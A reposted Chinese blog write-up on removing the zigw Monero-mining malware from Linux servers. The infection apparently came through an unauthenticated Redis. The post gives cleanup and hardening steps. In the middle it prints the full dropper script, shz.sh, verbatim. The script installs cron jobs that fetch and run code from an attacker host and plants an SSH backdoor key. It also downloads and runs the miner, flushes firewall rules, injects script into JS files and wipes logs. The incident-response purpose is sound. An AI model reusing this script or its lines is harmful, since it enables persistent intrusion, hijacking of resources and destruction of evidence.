本文共 15048 字,大约阅读时间需要 50 分钟。
-----先说重点----
其实杀掉进程,然后按照下面的方法,去删除etc/下面的zigw文件,这样还是不行的,这个病毒,在计划任务中,
她会频繁的自己重启,启动后会自动从远程下载病毒文件,继续执行,而且,这个/etc/zigw文件删除不掉,被设置了特殊权限
用root用户也删除不掉.
说说解除方法:
1.首先去kill掉进程 ,ps 查一下 ,或者top看一下,占用cpu最高的那个进程就是zigw,这个名字
2.然后去etc/目录下去删除zigw文件,但是发现删除不了,修改去掉特殊权限,用这个命令:chattr -i zigw 就是去掉
i权限,有些可能还有,a权限,那么继续chattr -a zigw 权限,然后再执行,rm -rf zigw 删除文件
3.进入到/var/spool/cron ,计划目录,看看有个root文件,cat 看看root文件,就可以看到
这个计划任务是从远程下载病毒文件,然后执行,这个时候就可以vi一下,修改这个文件中的内容,
然后,保存退出就可以了,或者直接删除这个root文件,但是这个文件有特殊权限,就用上面的命令去掉特殊权限,再去删除
这样就可以了.
---------------------------------------------------------------------------------------------------
这个今天发现的,用的如果是云服务器的话,可以找客服...这个最方便了吧...但是不一定能及时解决
我们这个用的天翼云....
top 命令看一下,最新的zigw占用cpu99% 我去...杀掉以后,cpu 百分之零点几...
做法,先杀掉进程,然后,我修改了密码,炒鸡复杂的一个.. 今天又启动了
登入主机检查
1. 主机存在可疑进程,疑似挖矿病毒。 2. 存在可疑计划任务。 3. /etc/passwd 修改时间12月24日16点 可疑进程清除方法: 1. 是用lsof -p 查看可疑进程关联文件,删除可疑文件杀死可疑进程。 2. 删除可疑计划任务,删除可疑开机自启文件。 3. 发现的可疑文件有:/etc/rc*.d/S80rabbitmq-server ,/etc/shz.sh , /etc/zigw.sh 安全建议: 1. 建议可以自行确认可疑文件并删除,及杀死可以进程。 2. 为了业务安全建议重装操作系统,并对系统进行加固,应用进行安全扫描等。-----上面是天翼云给的处理方法没有什么用----
------
------------------------------------
一、登录
攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。
二、被攻击后的表象
1、服务器资源被大量占用,资源占用率飙升;
2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)
3、网站无法加载,会出现浏览器卡死的情况
三、排查
1、访问服务器上运行的网站,从浏览器控制台中发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。
2、通过百度搜索这个地址,可知此为XMR恶意挖矿脚本。
3、远程登录服务器,输入top命令,发现有zigw进程在运行,消耗大量资源,kill掉以后还会出现。
4、查看系统任务计划,发现定期同步恶意脚本的计划内容
1 # crontab -l
5、获取其样本文件,然后删除其任务计划
1 # wget http://c.21-2n.com:43768/shz.sh2 # crontab -r
6、查看该样本文件,是一个shell脚本,内容如下:
1 #!/bin/sh 2 3 setenforce 0 2>dev/null 4 5 echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null 6 7 sync && echo 3 >/proc/sys/vm/drop_caches 8 9 crondir='/var/spool/cron/'"$USER" 10 11 cont=`cat ${crondir}` 12 13 ssht=`cat /root/.ssh/authorized_keys` 14 15 echo 1 > /etc/gmbpr2 16 17 rtdir="/etc/gmbpr2" 18 19 oddir="/etc/gmbpr" 20 21 bbdir="/usr/bin/curl" 22 23 bbdira="/usr/bin/url" 24 25 ccdir="/usr/bin/wget" 26 27 ccdira="/usr/bin/get" 28 29 mv /usr/bin/wget /usr/bin/get 30 31 mv /usr/bin/curl /usr/bin/url 32 33 if [ -f "$oddir" ] 34 35 then 36 37 pkill zjgw 38 39 chattr -i /etc/shz.sh 40 41 rm -f /etc/shz.sh 42 43 chattr -i /tmp/shz.sh 44 45 rm -f /tmp/shz.sh 46 47 chattr -i /etc/gmbpr 48 49 rm -f /etc/gmbpr 50 51 else 52 53 echo "ok" 54 55 fi 56 57 if [ -f "$rtdir" ] 58 59 then 60 61 echo "goto 1" >> /etc/gmbpr2 62 63 chattr -i $cont 64 65 if [ -f "$bbdir" ] 66 67 then 68 69 [[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} 70 71 else 72 73 [[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} 74 75 fi 76 77 mkdir /root/.ssh 78 79 [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ 80 81 [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys 82 83 [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys 84 85 [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys 86 87 ps -fe|grep zigw |grep -v grep 88 89 if [ $? -ne 0 ] 90 91 then 92 93 cd /etc 94 95 filesize=`ls -l zigw | awk '{ print $5 }'` 96 97 file="/etc/zigw" 98 99 if [ -f "$file" ]100 101 then102 103 if [ "$filesize" -ne "1467080" ]104 105 then106 107 chattr -i /etc/zigw108 109 rm -f zigw110 111 if [ -f "$bbdir" ]112 113 then114 115 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw116 117 elif [ -f "$bbdira" ]118 119 then120 121 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw122 123 elif [ -f "$ccdir" ]124 125 then126 127 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw128 129 elif [ -f "$ccdira" ]130 131 then132 133 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw134 135 fi136 137 fi138 139 else140 141 if [ -f "$bbdir" ]142 143 then144 145 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw146 147 elif [ -f "$bbdira" ]148 149 then150 151 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw152 153 elif [ -f "$ccdir" ]154 155 then156 157 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw158 159 elif [ -f "$ccdira" ]160 161 then162 163 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw164 165 fi166 167 fi168 169 chmod 777 zigw170 171 sleep 1s172 173 ./zigw174 175 else176 177 echo "runing....."178 179 fi180 181 chmod 777 /etc/zigw182 183 chattr +i /etc/zigw184 185 chmod 777 /etc/shz.sh186 187 chattr +i /etc/shz.sh188 189 shdir='/etc/shz.sh'190 191 if [ -f "$shdir" ]192 193 then194 195 echo "exists shell"196 197 else198 199 if [ -f "$bbdir" ]200 201 then202 203 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh204 205 elif [ -f "$bbdira" ]206 207 then208 209 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh210 211 elif [ -f "$ccdir" ]212 213 then214 215 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh216 217 elif [ -f "$ccdira" ]218 219 then220 221 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh222 223 fi224 225 sh /etc/shz.sh226 227 fi228 229 else230 231 echo "goto 1" > /tmp/gmbpr2232 233 chattr -i $cont234 235 if [ -f "$bbdir" ]236 237 then238 239 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}240 241 else242 243 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}244 245 fi246 247 ps -fe|grep zigw |grep -v grep248 249 if [ $? -ne 0 ]250 251 then252 253 cd /tmp254 255 filesize=`ls -l zigw | awk '{ print $5 }'`256 257 file="/tmp/zigw"258 259 if [ -f "$file" ]260 261 then262 263 if [ "$filesize" -ne "1467080" ]264 265 then266 267 chattr -i /tmp/zigw268 269 rm -f zigw270 271 if [ -f "$bbdir" ]272 273 then274 275 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw276 277 elif [ -f "$bbdira" ]278 279 then280 281 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw282 283 elif [ -f "$ccdir" ]284 285 then286 287 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw288 289 elif [ -f "$ccdira" ]290 291 then292 293 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw294 295 fi296 297 fi298 299 else300 301 if [ -f "$bbdir" ]302 303 then304 305 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw306 307 elif [ -f "$bbdira" ]308 309 then310 311 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw312 313 elif [ -f "$ccdir" ]314 315 then316 317 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw318 319 elif [ -f "$ccdira" ]320 321 then322 323 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw324 325 fi326 327 fi328 329 chmod 777 zigw330 331 sleep 1s332 333 ./zigw334 335 else336 337 echo "runing....."338 339 fi340 341 chmod 777 /tmp/zigw342 343 chattr +i /tmp/zigw344 345 chmod 777 /tmp/shz.sh346 347 chattr +i /tmp/shz.sh348 349 shdir='/tmp/shz.sh'350 351 if [ -f "$shdir" ]352 353 then354 355 echo "exists shell"356 357 else358 359 if [ -f "$bbdir" ]360 361 then362 363 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh364 365 elif [ -f "$bbdira" ]366 367 then368 369 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh370 371 elif [ -f "$ccdir" ]372 373 then374 375 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh376 377 elif [ -f "$ccdira" ]378 379 then380 381 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh382 383 fi 384 385 sh /tmp/shz.sh386 387 fi388 389 fi390 391 iptables -F392 393 iptables -X394 395 iptables -A OUTPUT -p tcp --dport 3333 -j DROP396 397 iptables -A OUTPUT -p tcp --dport 5555 -j DROP398 399 iptables -A OUTPUT -p tcp --dport 7777 -j DROP400 401 iptables -A OUTPUT -p tcp --dport 9999 -j DROP402 403 iptables -A OUTPUT -p tcp --dport 14444 -j DROP404 405 iptables-save406 407 service iptables reload408 409 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9410 411 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9412 413 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9414 415 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9416 417 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9418 419 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9420 421 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9422 423 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9424 425 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9426 427 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\ \ \'\)\;428 429 history -c430 431 echo > /var/spool/mail/root432 433 echo > /var/log/wtmp434 435 echo > /var/log/secure436 437 echo > /root/.bash_history438 439 echo > /var/spool/mail/root
7、阅读脚本内容,发现可能会在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。
1 # rm -rf ~/.ssh2 #3 # ps -aux | grep zigw4 # kill -9 <进程号> 5 # ps -aux | grep shz6 # kill -9 <进程号> 7 # 8 # chattr -i /etc/shz.sh /etc/zigw9 # rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2 进程号> 进程号>
8、查看任务计划的配置文件,并删除相应内容
1 # ls -alh /etc/cron.d/2 # rm -f /etc/cron.d/root
9、恢复服务器中的js文件(其中grep的参数为小写的L)
1 # find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
10、因此恶意脚本中删除了所有防火墙规则,影响到docker容器的网络功能,即容器中无法访问网络,导致其中运行的网站无法访问数据库,经过查阅资料和研究,认为需要重建docker网络,但累了一天,懒得弄了,正好系统更新中包含了docker,更新后恢复正常,得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。
比较有疑问的是,看了脚本中是用iptables操作的,但我的服务器中采用的是firewall,没想明白为何会产生影响。
-------
上面这一堆执行后,etc/zigw就没有了
下面这堆解决方法也靠谱
zigw挖矿病毒查杀
2018年11月12日 10:54:36 阅读数:2131更多
个人分类:
版权声明:本文为博主原创文章,转载请在明显的位置注明出处。如果觉得文章对你有用,给我点个赞呗~ https://blog.csdn.net/sayWhat_sayHello/article/details/83988443
记录zigw的进程号:27126备用
参考文章:
这个讲了这个病毒,但是没有说一个具体的解决方案。这个讲了怎么解决但是还是会复发。
我们参考这两个文献来解决这个病毒。
首先看定时任务,进入/var/spool/cron。
查看root文件,发现有redis的字眼,怀疑可能和redis有关。
那么dump.rdb也好理解了,就是redis的快照文件。这里我采取的策略是把它们全部删除:
rm -rf *然后进入/proc,再进入刚刚的进程文件
查看指令:ll
发现指向了/etc文件
先杀进程 kill -9 23176
改变权限
删除文件
cd /root/.ssh查看,并且删除authorize_keys
此时调用top查看进程发现高负载的病毒已经被清除
病毒入侵的原因还是redis,建议修改redis的访问权限!
redis修改配置文件要先kill原本的进程再重新启动!切记。
我操作了两天发现不会再被入侵所以才写了这篇推文,如果再发现被入侵的话再找找解决方案吧emm。
过了快1个星期了,没有问题哈哈~
遇到的问题:
1、zigw挖矿病毒,--kill掉后反反复复重现
2、配置bind ip后 ./redis-server redis.conf启动没有报错,ps aux|grep redis也没显示到进程
问题原因:
原本在阿里云部署的redis,1是没有设置密码,2没有配bind ip,导致当外网访问redis的时候,被“矿鸡”劫持。问我怎么知道?
症状:访问项目首页的时候整个页面卡的不要不要,风扇开始呼呼呼,这是我换了.m2和骇客神条以来首次“烧鸡”吖,
查看电脑cpu,100%,WTF,去阿里云linux,top一下,一个名为zigw的进程占用了90+的cpu,生气,然后kill,淫笑。
笑不过三秒,死灰复燃。百度一下,看到一篇解决的博客:https://blog.csdn.net/sayWhat_sayHello/article/details/83988443
的确能解决,但是治标不治本。还是得把redis的安全认证搭起来。
解决,kill 掉“矿鸡”后:
第一种做法,截断外网访问,不然外网访问我的Linux,这肯定能解决,但是同时把我的项目给阻隔了,访问都是nginx502。
第二种做法,就是bind ip,直接绑定我windows的ip,这里就出现了我的第二个问题。
解决:一定要bind 本地ip先,也可以bind 127.0.0.1,然后再在下面写要bind的ip,好像如果你bind了一个外网ip那么跟这个外网同一个网段的也能够访问,我试过,的确可行。原理还没弄懂。后面去复习一下计算机网络再回来补充;
第三种做法,redis密码加密
---------------------转载地址:https://credream.blog.csdn.net/article/details/85235383 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!